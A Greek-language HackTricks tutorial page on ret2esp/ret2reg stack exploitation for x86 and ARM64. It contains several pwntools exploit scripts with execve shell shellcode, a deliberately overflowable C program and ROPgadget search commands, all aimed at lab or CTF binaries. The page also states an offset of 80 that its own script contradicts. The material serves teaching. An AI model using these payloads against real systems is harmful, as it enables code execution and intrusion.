Ret2esp / Ret2reg

Υποστηρίξτε το HackTricks

Ret2esp

Επειδή το ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας εντολής jmp esp ή call esp. Με αυτόν τον τρόπο, το shellcode τοποθετείται ακριβώς μετά τον αντικατασταθέντα EIP. Όταν εκτελείται η εντολή ret, το ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που αποθηκεύεται το shellcode.

Αν η τυχαιοποίηση του Χώρου Διεύθυνσης (ASLR) δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές jmp esp ή call esp που βρίσκονται σε κοινόχρηστες βιβλιοθήκες. Ωστόσο, με την ASLR ενεργή, μπορεί να χρειαστεί να αναζητήσετε εντολές αυτού του τύπου εντός του ευάλωτου προγράμματος ίδιο του (και ίσως να χρειαστεί να ξεπεράσετε το PIE).

Επιπλέον, η δυνατότητα τοποθέτησης του shellcode μετά την διαφθορά του EIP, αντί για τη μέση της στοίβας, εξασφαλίζει ότι οποιεσδήποτε εντολές push ή pop που εκτελούνται κατά τη λειτουργία της συνάρτησης δεν επηρεάζουν το shellcode. Αυτή η παρεμβολή θα μπορούσε να συμβεί αν το shellcode τοποθετούνταν στη μέση της στοίβας της συνάρτησης.

Έλλειψη χώρου

Αν σας λείπει χώρος για εγγραφή μετά την αντικατάσταση του RIP (ίσως μόνο λίγα bytes), γράψτε ένα αρχικό jmp shellcode όπως:

sub rsp, 0x30
jmp rsp

Και γράψτε το shellcode νωρίς στο stack.

Παράδειγμα

Μπορείτε να βρείτε ένα παράδειγμα αυτής της τεχνικής στο https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp με ένα τελικό exploit όπως:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Μπορείτε να δείτε ένα άλλο παράδειγμα αυτής της τεχνικής στο https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Υπάρχει ένας υπερχείλισμος buffer χωρίς το NX ενεργοποιημένο, χρησιμοποιείται ένα gadget για να μειώσει τη διεύθυνση του $esp και στη συνέχεια ένα jmp esp; για να μεταβεί στο shellcode:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Επίσης, αν γνωρίζουμε ότι μια συνάρτηση επιστρέφει τη διεύθυνση όπου αποθηκεύεται το shellcode, μπορούμε να εκμεταλλευτούμε τις οδηγίες call eax ή jmp eax (γνωστή ως τεχνική ret2eax), προσφέροντας άλλη μέθοδο για την εκτέλεση του shellcode μας. Όπως και με το eax, οποιοδήποτε άλλο register που περιέχει μια ενδιαφέρουσα διεύθυνση θα μπορούσε να χρησιμοποιηθεί (ret2reg).

Παράδειγμα

Μπορείτε να βρείτε μερικά παραδείγματα εδώ:

ARM64

Ret2sp

Στο ARM64 δεν υπάρχουν οδηγίες που επιτρέπουν τη μετάβαση στο μητρώο SP. Μπορεί να είναι δυνατό να βρεθεί ένα gadget που μετακινεί το sp σε ένα μητρώο και στη συνέχεια μεταβαίνει σε αυτό το μητρώο, αλλά στην libc του Kali μου δεν μπόρεσα να βρω κάποιο gadget σαν αυτό:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Οι μόνοι που ανακάλυψα θα άλλαζαν την τιμή του μητρώου όπου αντιγράφτηκε το sp πριν από την αλλαγή σε αυτό (έτσι θα έγινε άχρηστο):

Ret2reg

Αν ένα μητρώο έχει μια ενδιαφέρουσα διεύθυνση, είναι δυνατόν να αλλάξετε σε αυτήν απλά βρίσκοντας την κατάλληλη εντολή. Θα μπορούσατε να χρησιμοποιήσετε κάτι σαν:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

Στο ARM64, είναι το x0 που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε μπορεί να συμβεί να το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.

Παράδειγμα κώδικα:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης είναι δυνατόν να δούμε ότι η διεύθυνση του buffer (ευάλωτο σε bof και ελεγχόμενο από τον χρήστη) είναι αποθηκευμένη στο x0 πριν επιστρέψουμε από την υπερχείλιση του buffer:

Είναι επίσης δυνατόν να βρεθεί το gadget br x0 στη συνάρτηση do_stuff:

Θα χρησιμοποιήσουμε αυτό το gadget για να μεταβούμε σε αυτό επειδή το δυαδικό αρχείο είναι μεταγλωττισμένο ΧΩΡΙΣ PIE. Χρησιμοποιώντας ένα πρότυπο είναι δυνατόν να δούμε ότι το offset της υπερχείλισης του buffer είναι 80, έτσι το exploit θα είναι:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Αν αντί για το fgets χρησιμοποιούνταν κάτι σαν το read, θα ήταν δυνατό να παρακαμφθεί το PIE επίσης με τον απλό προσδιορισμό των τελευταίων 2 bytes της διεύθυνσης επιστροφής για να επιστρέψει στην εντολή br x0; χωρίς την ανάγκη να γνωρίζει την πλήρη διεύθυνση. Με το fgets δεν λειτουργεί επειδή προσθέτει ένα null (0x00) byte στο τέλος.

Προστασίες

  • NX: Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς χρειαζόμαστε να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε άλμα για να το εκτελέσουμε.

  • ASLR & PIE: Αυτά μπορούν να κάνουν πιο δύσκολο τον εντοπισμό μιας εντολής για άλμα στο esp ή οποιοδήποτε άλλο register.

Αναφορές

Υποστήριξε το HackTricks

Last updated